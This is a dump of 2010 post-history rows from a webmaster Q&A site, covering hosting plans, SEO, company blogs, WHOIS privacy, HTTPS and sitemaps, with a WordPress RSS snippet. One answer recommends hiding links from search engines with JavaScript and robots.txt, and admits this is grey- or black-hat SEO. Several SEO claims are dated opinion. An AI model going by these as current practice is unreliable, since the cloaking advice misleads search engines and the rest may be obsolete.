  <row Id="7858" PostHistoryTypeId="2" PostId="3984" RevisionGUID="b6577edf-da0e-4947-a2f8-e113baf0e8e3" CreationDate="2010-10-18T08:48:11.890" UserId="1757" Text="A decently reliable/reputable web host usually costs about $9-10/month. So I don't think you're going to get a much lower monthly rate than danlefree's suggested HostGator plan.&#xD;&#xA;&#xD;&#xA;Though I'd recommend just getting a standard $8.95 DreamHost account. You get unlimited nearly everything (domains, subdomains, MySQL databases, shell accounts, ftps, bandwidth, storage, etc.), and you get a free domain for the life of your account. A lot of web designers have single-page websites but still get this type of standard shared hosting account. It's only $4/month more and it gives you room to expand.&#xD;&#xA;&#xD;&#xA;Also, be aware that, even though GoDaddy and HostGator offer super-economy hosting plans with slightly lower monthly rates, you could end up spending much more with them. For instance, if you need an SSL certificate, DreamHost sells them for $15/year. But GoDaddy charges $50/year and HostGator charges $150/year. DreamHost also offers free private domain registration, whereas GoDaddy and HostGator both charge $10 per domain extra for it.&#xD;&#xA;&#xD;&#xA;Personally, I'd choose DreamHost just because they have higher standards of ethics than many of these others companies. (They don't work with domain squatters; they don't try to nickle-and-dime you; and they don't use your expired domains as their personal billboards).&#xD;&#xA;&#xD;&#xA;Also, because DreamHost's basic hosting plans comes with pretty much unlimited everything and lets you create separate users for different domains, you could just share a hosting plan with a few friends or other local businesses. If you can find 4 other businesses that want cheap web hosting, you could each pay less than $2/month and still get a far better hosting plan than what you'd pay even $10-15/month for elsewhere." />
  <row Id="7859" PostHistoryTypeId="2" PostId="3985" RevisionGUID="f080785f-68f7-43ed-87bf-0fd3501ece98" CreationDate="2010-10-18T08:55:43.850" UserId="89" Text="Keyword stuffing has been abused so much that Google will penalize sites where keywords are repeated too much, tracking keyword density is not useless - it is actually harmful.&#xD;&#xA;&#xD;&#xA;* The most valuable locations on page are the page title and the h1 tag - make sure to use the keywords there.&#xD;&#xA;&#xD;&#xA;* Repeat the keywords in the page text maybe 2-3 more times.&#xD;&#xA;&#xD;&#xA;* Use synonyms - this will both prevent Google from penalizing you for keyword stuffing and get you some more &quot;long tail&quot; searches.&#xD;&#xA;&#xD;&#xA;* Write for humans not for search engines - after all, the whole point of getting someone to the site is to get that someone to take some action - don't get so obsessed about SEO that you forget that (SEO-heavy text is likely to make people immediately reach for the back button) &#xD;&#xA;" />
  <row Id="7860" PostHistoryTypeId="2" PostId="3986" RevisionGUID="8f614e5f-39da-4a6d-9dc7-41b9b46d98a0" CreationDate="2010-10-18T09:56:55.650" UserId="1089" Text="If I have a website for a company selling product(s). Is there any difference in terms of rewards/penalties from having a company blog hosted interally (for example mycompany.com/blog) or going externally to blogpost/wordpress etc. (mycompany.blogspot.com for example)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7861" PostHistoryTypeId="1" PostId="3986" RevisionGUID="8f614e5f-39da-4a6d-9dc7-41b9b46d98a0" CreationDate="2010-10-18T09:56:55.650" UserId="1089" Text="Company blog, host internally or not?" />
  <row Id="7862" PostHistoryTypeId="3" PostId="3986" RevisionGUID="8f614e5f-39da-4a6d-9dc7-41b9b46d98a0" CreationDate="2010-10-18T09:56:55.650" UserId="1089" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;blog&gt;" />
  <row Id="7863" PostHistoryTypeId="2" PostId="3988" RevisionGUID="fc28a8dd-993b-445d-ac4c-277bea8966e2" CreationDate="2010-10-18T00:58:38.323" UserDisplayName="J-16 SDiZ" Text="Your feed is hacked. This is not programming related, go ask on server fault.&#xD;&#xA;See http://wordpress.org/support/topic/blog-was-hacked-rss-issue-but-now-i-get-garbled-text-what-does-this-mean" />
  <row Id="7864" PostHistoryTypeId="2" PostId="3989" RevisionGUID="cdb5199e-6262-42e2-b1c1-1e0d63715c8a" CreationDate="2010-10-18T03:19:41.897" UserDisplayName="awats" Text="Yes, you can &quot;hook&quot; into the RSS feed and call 1 attachment (thumbmail)&#xD;&#xA;&#xD;&#xA;Add this line to your functions.php file...&#xD;&#xA;&#xD;&#xA;This example will add 3 thumbs, but simply change the &quot;numberposts&quot; to your desired amount...&#xD;&#xA;&#xD;&#xA;    /* Adding 3 thumbs to the top of the post on RSS */&#xD;&#xA;        function rss_custom_format($content) {&#xD;&#xA;        //prob uneccessary but checking that it is in fact a feed&#xD;&#xA;        if(is_feed()){&#xD;&#xA;           &#xD;&#xA;           global $post;&#xD;&#xA;           if(!$post-&gt;ID){return;}&#xD;&#xA;           &#xD;&#xA;           $args = array(&#xD;&#xA;                'post_type' =&gt; 'attachment',&#xD;&#xA;                'numberposts' =&gt; 3,&#xD;&#xA;                'orderby'    =&gt; 'menu_order ID',&#xD;&#xA;                'post_parent' =&gt; $post-&gt;ID,&#xD;&#xA;                'post_mime_type' =&gt; 'image',&#xD;&#xA;                'order' =&gt; 'ASC'&#xD;&#xA;            ); &#xD;&#xA;            &#xD;&#xA;           &#xD;&#xA;           $attachments = get_posts($args);&#xD;&#xA;           &#xD;&#xA;           if($attachments){&#xD;&#xA;           $thumb = '';    &#xD;&#xA;           foreach($attachments as $attachment){&#xD;&#xA;            $thumb .= wp_get_attachment_link($attachment-&gt;ID,'thumbnail','true').'&amp;nbsp;';&#xD;&#xA;           }&#xD;&#xA;           &#xD;&#xA;         } &#xD;&#xA;        }&#xD;&#xA;        $thumb .= '&lt;div style=&quot;clear:both; width:100%;&quot;&gt;&lt;/div&gt;';&#xD;&#xA;        $content = preg_replace('`\[[^\]]*\]`','',$content);&#xD;&#xA;        $more = '&lt;a href=&quot;'.get_permalink($post-&gt;ID).'&quot;&gt;Read More ...&lt;/a&gt;';&#xD;&#xA;        return $thumb.$content.$more;&#xD;&#xA;         &#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        add_filter('the_content_rss','rss_custom_format');&#xD;&#xA;        add_filter('the_excerpt_rss','rss_custom_format');" />
  <row Id="7865" PostHistoryTypeId="2" PostId="3987" RevisionGUID="aab2355c-996f-4b6a-b2e5-07fdf0ba719d" CreationDate="2010-10-17T16:30:45.390" UserDisplayName="Beginner Pogrammer" Text="is there any way to show an image for RSS feess in my wordpress page...&#xD;&#xA;it os because currently defaul wordpress RSS feeds will only show a text of other feeds from other site..how can i make my site show a thumb image of rss feeds of th other sites..below are example of the rss feeds on my site. plizzz help me.i really needs a help from all of u guys....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; ![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/fbONi.jpg" />
  <row Id="7866" PostHistoryTypeId="1" PostId="3987" RevisionGUID="aab2355c-996f-4b6a-b2e5-07fdf0ba719d" CreationDate="2010-10-17T16:30:45.390" UserDisplayName="Beginner Pogrammer" Text="RSS in a Wordpress" />
  <row Id="7867" PostHistoryTypeId="3" PostId="3987" RevisionGUID="aab2355c-996f-4b6a-b2e5-07fdf0ba719d" CreationDate="2010-10-17T16:30:45.390" UserDisplayName="Beginner Pogrammer" Text="&lt;wordpress&gt;&lt;rss&gt;" />
  <row Id="7868" PostHistoryTypeId="17" PostId="3987" RevisionGUID="b2f39a81-0ef3-4cca-ac09-7c10f293efd6" CreationDate="2010-10-18T10:14:56.033" UserId="-1" Comment="from http://stackoverflow.com/questions/3954134/rss-in-a-wordpress" Text="" />
  <row Id="7869" PostHistoryTypeId="2" PostId="3990" RevisionGUID="03e0d9e9-f940-45a9-95b4-1d74cc3136a0" CreationDate="2010-10-18T10:23:48.697" UserId="233" Text="I'm not exactly sure what you are getting at, but if you link to another site then it's just a link. There have been rumours that external links in footers etc are given less weight but I don't think there is any real evidence, and any reduction would be small. It would still pass PageRank.&#xD;&#xA;&#xD;&#xA;This is not something worth worrying about." />
  <row Id="7870" PostHistoryTypeId="2" PostId="3991" RevisionGUID="4db2a529-8f3a-4656-b269-4fbefa3ee5d3" CreationDate="2010-10-18T10:32:49.510" UserId="233" Text="The first option to host on your own domain is by far the best and most professional. Hosting at blogspot/wordpress is like when you see companies saying *&quot;Email us at companyname@hotmail.com&quot;* - it looks cheap and unprofessional.&#xD;&#xA;&#xD;&#xA;With your own hosting you have far more control over the site, templates, plugins and so on. One downside is that if you do not update Wordpress regularly there is a *small* risk you could be hacked which would take down the whole site. Hosted services generally take care of updates etc." />
  <row Id="7871" PostHistoryTypeId="2" PostId="3992" RevisionGUID="59d160c6-0a3e-4d4b-a08d-0b97ad4cedcc" CreationDate="2010-10-18T10:36:11.317" UserId="706" Text="I would like to set up a new business site. I plan to direct `www.example.com` to `example.com` and only use that domain. My plan is also to only use https and not http. Does this affect the SEO for the site? E.g. do Google put lower or higher rank for sites that is only available via https?" />
  <row Id="7872" PostHistoryTypeId="1" PostId="3992" RevisionGUID="59d160c6-0a3e-4d4b-a08d-0b97ad4cedcc" CreationDate="2010-10-18T10:36:11.317" UserId="706" Text="Is using only https bad in a SEO perspective?" />
  <row Id="7873" PostHistoryTypeId="3" PostId="3992" RevisionGUID="59d160c6-0a3e-4d4b-a08d-0b97ad4cedcc" CreationDate="2010-10-18T10:36:11.317" UserId="706" Text="&lt;seo&gt;&lt;google&gt;&lt;ssl&gt;&lt;pagerank&gt;" />
  <row Id="7874" PostHistoryTypeId="2" PostId="3993" RevisionGUID="36e4c46c-dba9-4e60-9aad-4394d58b0574" CreationDate="2010-10-18T11:13:46.790" UserId="2379" Text="take a look at the links in the side menu.&#xD;&#xA;&lt;a href=&quot;http://theresheglowsdayspa.com/giftcards.htm&quot;&gt; &#xD;&#xA;&#xD;&#xA;they strip out the www and show a full domain link.&#xD;&#xA;you could linke them as:&#xD;&#xA;&lt;a href=&quot;/giftcards.htm&quot;&gt; &#xD;&#xA;&#xD;&#xA;this would shorten the url, and would work in both www. and non www requets.&#xD;&#xA;&#xD;&#xA;here is how i usually do it:&#xD;&#xA;i like all my assets from &lt;a href=&quot;http://www.theresheglowsdayspa.com/giftcards.htm&quot;&gt; &#xD;&#xA;it may be a bit longer, but keeps things cleaner in the long run.&#xD;&#xA;&#xD;&#xA;Then i use a URL Rewrite script to redirect all non www to www.  This is for SEO purposes because google sees www.yoursite.com and yoursite.com as two seperate sites.  &#xD;&#xA;&#xD;&#xA;If you are using IIS its simple to do with URLRewrite, apache has something called mod rewrite.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7875" PostHistoryTypeId="2" PostId="3994" RevisionGUID="4309e636-df7d-4d43-8fc8-220baf42fa53" CreationDate="2010-10-18T11:18:27.660" UserId="2379" Text="Remember, there really isnt something as private domain registration as long as the LAW is concerned.  Keep that in mind in case your venture is &quot;out there&quot;.  Registrars like Godaddy that provide private registration still are compelled to share information about the registrar in the event of a law enforecement probe.&#xD;&#xA;&#xD;&#xA;I personally would never pay for the private registration.&#xD;&#xA;If you have a portfolio of domains its a lot simpler to register a mailing address at a PMB or UPS Store.  This takes away the risk of having your home address show.  As for email privacy concerns, i just use a domain name for all my whois contacts.  domains-support@mycompany.com.  That way nobody's name is out there.  Last, you can use the same officer for all contacts, and it can be anyone you want, including Rubplestilskin.&#xD;&#xA;&#xD;&#xA;As for people marketing you based on WHOIS information.  Its prohibited by WHOIS, but rarely does happen. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7876" PostHistoryTypeId="2" PostId="3995" RevisionGUID="89b573d8-57e4-4cec-b310-352556b215c1" CreationDate="2010-10-18T11:19:38.130" UserId="1647" Text="I described the advantages of using hosted platforms vs installed platforms in [this Webapps question][1]. The key point is, what are your needs at the moment.&#xD;&#xA;You can start with an hosted solution, for instance wordpress.com, then move to a self-hosted solution later, for instance wordpress.org.&#xD;&#xA;&#xD;&#xA;Many hosted blog solutions, including WordPress, Blogspot, Thumblr..., offers a &quot;custom domain name&quot; feature. It means you can create a Blogspot blog but map it to `blog.yourcompany.com` rather than `yourcompany.blogspot.com`. This might be a good starting point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/8252/hosted-vs-installed/8269#8269" />
  <row Id="7877" PostHistoryTypeId="2" PostId="3996" RevisionGUID="91ad9113-cda3-43fd-b95c-1abaa58c517c" CreationDate="2010-10-18T11:21:13.927" UserId="751" Text="Is there a way to find the expiration date of a &quot;.id.au&quot; domain?&#xD;&#xA;I can't seem to find any information on any .id.au domain I search on." />
  <row Id="7878" PostHistoryTypeId="1" PostId="3996" RevisionGUID="91ad9113-cda3-43fd-b95c-1abaa58c517c" CreationDate="2010-10-18T11:21:13.927" UserId="751" Text="Finding the expiration date of a domain?" />
  <row Id="7879" PostHistoryTypeId="3" PostId="3996" RevisionGUID="91ad9113-cda3-43fd-b95c-1abaa58c517c" CreationDate="2010-10-18T11:21:13.927" UserId="751" Text="&lt;domains&gt;" />
  <row Id="7880" PostHistoryTypeId="2" PostId="3997" RevisionGUID="4bcfb758-971c-46dd-a901-075c07db41c9" CreationDate="2010-10-18T11:22:25.033" UserId="2379" Text="http://www.seomoz.org/&#xD;&#xA;very impressive tool, but expensive " />
  <row Id="7881" PostHistoryTypeId="2" PostId="3998" RevisionGUID="71bb376a-9688-44f0-9f04-99f7defa8d60" CreationDate="2010-10-18T11:29:37.320" UserId="2379" Text="You are allowed, but id recommend against it.&#xD;&#xA;The reason being is that english and the english latin alphabet are still the highest precentage of internet users, followed by chinese.  &#xD;&#xA;&#xD;&#xA;A good case study would be Kontake.ru.  They use English languaes and have even registered a two letter domaian VT.com to point to their website.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7882" PostHistoryTypeId="2" PostId="3999" RevisionGUID="94fde8c3-c368-493d-9fbe-6bfb8b86e565" CreationDate="2010-10-18T11:39:29.963" UserId="2379" Text="if you use a host with virtual hosting or Hyper-v hosting, then you can get full control and install whatever you want.  This hosting is a bit more expensive but worth it in many cases.  Shared hosting providers have very strict limitations, when you get hyper-v hosting those limitations seldom exists.. You can install whatever components, database, dlls, com objects, mail server etc that you want (and own a lic for)&#xD;&#xA;&#xD;&#xA;it's a good approach. (and i think the best one versus the highly HYPED cloud hosting that is usually so much  more expensive)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7883" PostHistoryTypeId="2" PostId="4000" RevisionGUID="58375eef-eda3-4781-a123-3daf3a69ffad" CreationDate="2010-10-18T11:51:43.253" UserId="2379" Text="Google doesnt care, but it may be a waste of your bandwidth.  &#xD;&#xA;The common approach is to use non ssl on pages where data is not entered into forms or form values are processed and ssl on pages where they are.&#xD;&#xA;&#xD;&#xA;Google sees an https:// and http:// request as the same.  But will see the www.d.com and d.com as two seperate sites.&#xD;&#xA;&#xD;&#xA;Most sites just use the https:// on pages where user logs in, gives credit card, edits his/her information etc.  On pages where someone just reads iformation such as home page, or terms, or privacy policy, blog artices and so on its best not to force https.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7884" PostHistoryTypeId="2" PostId="4001" RevisionGUID="c7a47907-5109-459b-802f-ce14301da3c4" CreationDate="2010-10-18T11:55:35.040" UserId="798" Text="I've used WebCEO (.com). It's quite extensive and too much for a non-SEO guy like me. The free version will allow only five keywords at a time." />
  <row Id="7885" PostHistoryTypeId="2" PostId="4002" RevisionGUID="5277865c-cbdf-4520-aac5-1879ea04ef8a" CreationDate="2010-10-18T11:56:46.837" UserId="1253" Text="A link is a link. Those links are just as viable as any other external link. Their location on the page doesn't matter. Unless you nofollow it it will carry whatever weight links from that page carry." />
  <row Id="7886" PostHistoryTypeId="2" PostId="4003" RevisionGUID="1ef027c9-2f41-4c6d-a492-cccd4f8d791d" CreationDate="2010-10-18T12:11:07.620" UserId="2379" Text="I did a whois search on bob.id.au and it seems like the id.au domain names dont show expiration in their whois records...  This may be a cool way to do things and prevent spam.&#xD;&#xA;&#xD;&#xA;I would contact a registrar that handles these by phone to get more insight. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7887" PostHistoryTypeId="2" PostId="4004" RevisionGUID="6913221f-7a0f-4ba8-9251-e9b147593413" CreationDate="2010-10-18T12:27:29.137" UserId="2026" Text="This can be useful to you http://article-stack.com/knowledge/review-2/is-google-not-good-for-back-link-search.amty" />
  <row Id="7888" PostHistoryTypeId="2" PostId="4005" RevisionGUID="43ebfbfd-9d0b-458d-8abe-52d2e46d7f72" CreationDate="2010-10-18T13:53:39.163" UserId="1647" Text="`whois.audns.net.au`, the WHOIS server for `.au` domains, [doesn't support the expiration date information][1].&#xD;&#xA;&#xD;&#xA;Even the [public WHOIS][2] hide this information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/weppos/whois/blob/v1.3.10/lib/whois/answer/parser/whois.audns.net.au.rb#L60&#xD;&#xA;  [2]: http://www.mywebname.com.au/" />
  <row Id="7889" PostHistoryTypeId="6" PostId="3996" RevisionGUID="a064e85d-dfda-42d6-981e-8736c578442b" CreationDate="2010-10-18T13:54:02.840" UserId="1647" Comment="edited tags" Text="&lt;domains&gt;&lt;whois&gt;" />
  <row Id="7891" PostHistoryTypeId="2" PostId="4006" RevisionGUID="ed8b430d-0100-4481-a09e-3367ff39b637" CreationDate="2010-10-18T13:56:49.373" UserId="2490" Text="I can recommend [arvixe personal plan][1] . Not expensive, very fast, good service. I am using them personally.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="7892" PostHistoryTypeId="2" PostId="4007" RevisionGUID="e99c202f-d746-4cd9-b415-03555848fa9d" CreationDate="2010-10-18T14:00:12.920" UserId="2490" Text="I am having the same problem. Hosting internally is best, it looks professional, but then you have to install blog software and maintain it by yourself - this can be annoying. What I did is installed wordpress under mysite.com/blog (the site runs in .net and the blog in php - my [hosting][1] company allows that).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="7893" PostHistoryTypeId="2" PostId="4008" RevisionGUID="74e7dd00-3a8d-4afd-8edc-4b4774a74f28" CreationDate="2010-10-18T14:29:50.900" UserId="908" Text="Does anyone know a place where I can find some usage statistics on different CMSs? Also, do folks actually believe the massive massive Drupal share [given here](http://trends.builtwith.com/cms)? ([Netcraft claimed](http://news.netcraft.com/archives/2009/10/27/white_house_goes_open_source.html) that Drupal was the sixth largest PHP-based CMS about a year ago; wish I could find the top five.)" />
  <row Id="7894" PostHistoryTypeId="1" PostId="4008" RevisionGUID="74e7dd00-3a8d-4afd-8edc-4b4774a74f28" CreationDate="2010-10-18T14:29:50.900" UserId="908" Text="Where can I find some CMS usage statistics?" />
  <row Id="7895" PostHistoryTypeId="3" PostId="4008" RevisionGUID="74e7dd00-3a8d-4afd-8edc-4b4774a74f28" CreationDate="2010-10-18T14:29:50.900" UserId="908" Text="&lt;cms&gt;&lt;usage-data&gt;" />
  <row Id="7896" PostHistoryTypeId="2" PostId="4009" RevisionGUID="f5c1df38-740c-476e-806f-62198793a696" CreationDate="2010-10-18T14:42:34.793" UserId="1953" Text="If you're for local rankings, the standard has been BOTW local, Yahoo and Bing (not sure how the Yahoo/Microsoft deal impacted this) and Yelp. In terms of going beyond the general local listings I always start with the local citation finder (http://www.whitespark.ca/tools/local-citation-finder/) no affiliation I just love the tool. It's a free tool that looks at local competitors and generates a list of local places your competitor are listed." />
  <row Id="7897" PostHistoryTypeId="2" PostId="4010" RevisionGUID="a36cf94f-67f0-429b-8f34-0b81e8e6f20e" CreationDate="2010-10-18T14:52:08.853" UserId="1953" Text="One thing to keep in mind is that there is a difference between crawling and indexing. The purpose of submitting URLs is to make sure they get crawled, however, you need to do all the other stuff bpeterson mentioned, build links, make sure you have unique content, etc. This will all have an impact on indexing regardless of whether you submit the URLs or they are crawled naturally." />
  <row Id="7898" PostHistoryTypeId="2" PostId="4011" RevisionGUID="0715c6a7-06e0-4e56-b7df-db924a8714d7" CreationDate="2010-10-18T15:34:32.777" UserId="2515" Text="Is there a way to change the file date throw ftp connection on remote server?&#xD;&#xA;&#xD;&#xA;as the file is uploaded it sets create date to the date it was uploaded, and i want the file to keep its original date time.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7899" PostHistoryTypeId="1" PostId="4011" RevisionGUID="0715c6a7-06e0-4e56-b7df-db924a8714d7" CreationDate="2010-10-18T15:34:32.777" UserId="2515" Text="microsoft ftp update remote file date" />
  <row Id="7900" PostHistoryTypeId="3" PostId="4011" RevisionGUID="0715c6a7-06e0-4e56-b7df-db924a8714d7" CreationDate="2010-10-18T15:34:32.777" UserId="2515" Text="&lt;ftp&gt;&lt;file-manger&gt;" />
  <row Id="7905" PostHistoryTypeId="2" PostId="4013" RevisionGUID="769897fa-291d-440a-ae6b-405ad6edcfbc" CreationDate="2010-10-18T17:56:15.290" UserId="1762" Text="The project that I'm working on will require a catalog as extensive as these sites:&#xD;&#xA;&#xD;&#xA; - http://www.ems.com&#xD;&#xA; - http://www.patagonia.com/us/home&#xD;&#xA;&#xD;&#xA;but with odd size/shaped equipment such as:&#xD;&#xA;&#xD;&#xA; - http://www.spikevolleyball.com/&#xD;&#xA;&#xD;&#xA;So basically I need an ecommerce package to handle these number of products and variations and also odd issues such as shipping of non-standard sized equipment.&#xD;&#xA;&#xD;&#xA;Can an ecommerce package for Wordpress handle this or I need to go to a purely ecommerce package?&#xD;&#xA;&#xD;&#xA;One of the requirements for the client is to make the online store not just about the products but about the history and development of the sport. That's one of the reason why I'm still trying to find a Wordpress solution right now, because Wordpress allows other type of content besides just purely products.&#xD;&#xA;&#xD;&#xA;I've [cross posted at the Wordpress stackexchange][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.stackexchange.com/questions/3013/can-shopp-or-wp-ecommerce-create-something-as-extensive-as-these-sites-other-rec" />
  <row Id="7906" PostHistoryTypeId="1" PostId="4013" RevisionGUID="769897fa-291d-440a-ae6b-405ad6edcfbc" CreationDate="2010-10-18T17:56:15.290" UserId="1762" Text="Can Shopp or WP ecommerce create something as extensive as these sites? Other recommended solutions?" />
  <row Id="7907" PostHistoryTypeId="3" PostId="4013" RevisionGUID="769897fa-291d-440a-ae6b-405ad6edcfbc" CreationDate="2010-10-18T17:56:15.290" UserId="1762" Text="&lt;ecommerce&gt;" />
  <row Id="7911" PostHistoryTypeId="2" PostId="4015" RevisionGUID="50559596-ba22-472e-9c7c-6c1909c39dd4" CreationDate="2010-10-18T19:05:00.977" UserId="1953" Text="Wordpress is open source so technically it can do anything you'd like if you are willing to mod it enough. I'd recommend building a custom CMS though for the amount of work it would take. I love open source software and use it/support it any chance I get but if you need a lot of custom features my experience has been you're better off with a custom site." />
  <row Id="7912" PostHistoryTypeId="2" PostId="4016" RevisionGUID="2d548ed3-7b7b-43a3-ad4c-cfa66af6ca00" CreationDate="2010-10-18T19:24:27.100" UserId="2465" Text="I am starting out with views and I wrote an extremely simple view which really just filters if the node is published and if it is of type banner. In preview and when I try to print the view I get no results. When I search through my content and filter by type banner and published, I get 3 results (in /content/node/overview). I must be doing something basic and stupid, any suggestions for how I can figure out what I have done wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;View:&#xD;&#xA;http://www.randomcrapilike.com/test/view_capture.jpg&#xD;&#xA;&#xD;&#xA;Content Search:&#xD;&#xA;http://www.randomcrapilike.com/test/contentsearch.jpg&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7913" PostHistoryTypeId="1" PostId="4016" RevisionGUID="2d548ed3-7b7b-43a3-ad4c-cfa66af6ca00" CreationDate="2010-10-18T19:24:27.100" UserId="2465" Text="Why does a basic Drupal view return no results" />
  <row Id="7914" PostHistoryTypeId="3" PostId="4016" RevisionGUID="2d548ed3-7b7b-43a3-ad4c-cfa66af6ca00" CreationDate="2010-10-18T19:24:27.100" UserId="2465" Text="&lt;drupal&gt;" />
  <row Id="7915" PostHistoryTypeId="2" PostId="4017" RevisionGUID="3dbb15bb-4a72-451d-90ff-801d0cfd0829" CreationDate="2010-10-18T19:26:52.087" UserId="1429" Text="http://www.qualityhostonline.com in US&#xD;&#xA;&#xD;&#xA;http://www.eukhost.com in EUROPE (server in UK)&#xD;&#xA;&#xD;&#xA;I'm being happy with these tow.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7917" PostHistoryTypeId="2" PostId="4018" RevisionGUID="ccd98652-635d-4efc-b814-c30497c90735" CreationDate="2010-10-18T19:41:51.900" UserId="1429" Text="In general terms **keywords density DOES matter** for Google ranking, you can easy test it by creating two identical pages indexed exactely once from the same page (just to let Google know they exist and index them).&#xD;&#xA;Then in one you place tow/three times more the keyword/keyphrase, than in the other one. You will see the 1st one will rank high maybe just one position, but still high.&#xD;&#xA;&#xD;&#xA;**Keywords stuffing does NOT matter in my own experience**, and even if it matters it's bad SEO practice so it might result in penalizing your site, why risking that?!" />
  <row Id="7921" PostHistoryTypeId="5" PostId="2266" RevisionGUID="41f5885e-939f-496d-b021-e2983fa0e544" CreationDate="2010-10-18T20:03:07.847" UserId="1429" Comment="added 1 characters in body" Text="Using nofollow might not be worth in order not to send out link juice (in other words Google Page Rank) in this case.&#xD;&#xA;&#xD;&#xA;But **linking to those sites you are DEFINITELY giving out your link juice**! Doesn't matter what Matt Cutts says now in his blog, **you can test for it on your own**.&#xD;&#xA;Remove totally those links and your Google PR will go up (you have to wait some months). Then put them back in and you will see your Google PR going down again.&#xD;&#xA;&#xD;&#xA;Unfortuantely **the only way to show those links without giving out link juice is to hide them in some way to Search engines**. It used to be simple to do by using Javascript, but now Google reads through links created in Javascript (you can test this by yourself creating a page with a link created by Javascript, the link must point to a not found page. In Goggle webmaster tools you will see in few weeks that Google indexes those type of links too and complains about the not found page).&#xD;&#xA;&#xD;&#xA;It came out a new technique anyway to hide those links, here is an article explaining how to hide links to Google and other serch engines using simple Javascript: http://www.seomofo.com/ethics/using-javascript-to-hide-links.html&#xD;&#xA;This is fairly simple technique too that uses Javascript to create links, as before, but also sets robots.txt in order to tell search engine not to crawl the javascript file used to create those links. In this way search engine shoud not be able to follow the link theoretically (I did not tested it yet).&#xD;&#xA;&#xD;&#xA;These types of techniques anyway might be somthing called &quot;Black-Hat SEO technique&quot; or let's say at least &quot;Grey SEO technique&quot;. There is a [discussion about this on Google's chit chat][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=43c85ef328efaea4&amp;hl=en&amp;fid=43c85ef328efaea4000489494c52b284&amp;hltp=2" />
  <row Id="7923" PostHistoryTypeId="2" PostId="4020" RevisionGUID="95597c30-690f-40d7-9b21-3a37a2c2b8ff" CreationDate="2010-10-18T20:12:14.203" UserId="2523" Text="I have a domain http://sub.example.com/.&#xD;&#xA;&#xD;&#xA;In it there is a wordpress blog at http://sub.example.com/blog and other more static content at http://sub.example.com/other, http://sub.example.com/stuff, etc, etc&#xD;&#xA;&#xD;&#xA;As the blog content is updated quite often I use a WP sitemap plugin to generate it for the blog dynamically for convenience.  Is there any penalty/negatives in using this while also maintaining a separate one for the whole subdomain bar this blog at http://sub.example.com/sitemap.xml?" />
  <row Id="7924" PostHistoryTypeId="1" PostId="4020" RevisionGUID="95597c30-690f-40d7-9b21-3a37a2c2b8ff" CreationDate="2010-10-18T20:12:14.203" UserId="2523" Text="using multiple sitemaps in a domain" />
  <row Id="7925" PostHistoryTypeId="3" PostId="4020" RevisionGUID="95597c30-690f-40d7-9b21-3a37a2c2b8ff" CreationDate="2010-10-18T20:12:14.203" UserId="2523" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;sitemap&gt;" />
  <row Id="7926" PostHistoryTypeId="2" PostId="4021" RevisionGUID="db8d20be-70a0-4142-a4a2-03a3685ef07c" CreationDate="2010-10-18T20:29:49.607" UserId="1429" Text="Where did you read this?! &#xD;&#xA;&#xD;&#xA;&gt; best practice is to have keywords in&#xD;&#xA;&gt; both&#xD;&#xA;&#xD;&#xA;1. Stuffing titles attributes with keywords is irrelevant in the best case and it will punish your site in the worst case.&#xD;&#xA;&#xD;&#xA;2. It does not harm at all if they are NOT identical." />
  <row Id="7927" PostHistoryTypeId="2" PostId="4022" RevisionGUID="45701092-9ed0-4547-9579-750786fda2c8" CreationDate="2010-10-18T20:40:26.217" UserId="1253" Text="Multiple sitemaps are perfectly fine. [There's a special way to tell the search engines you have one.][1] Just make sure you follow that specification and you're all set.&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap1.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2004-10-01T18:23:17+00:00&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap2.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2005-01-01&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;    &lt;/sitemapindex&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
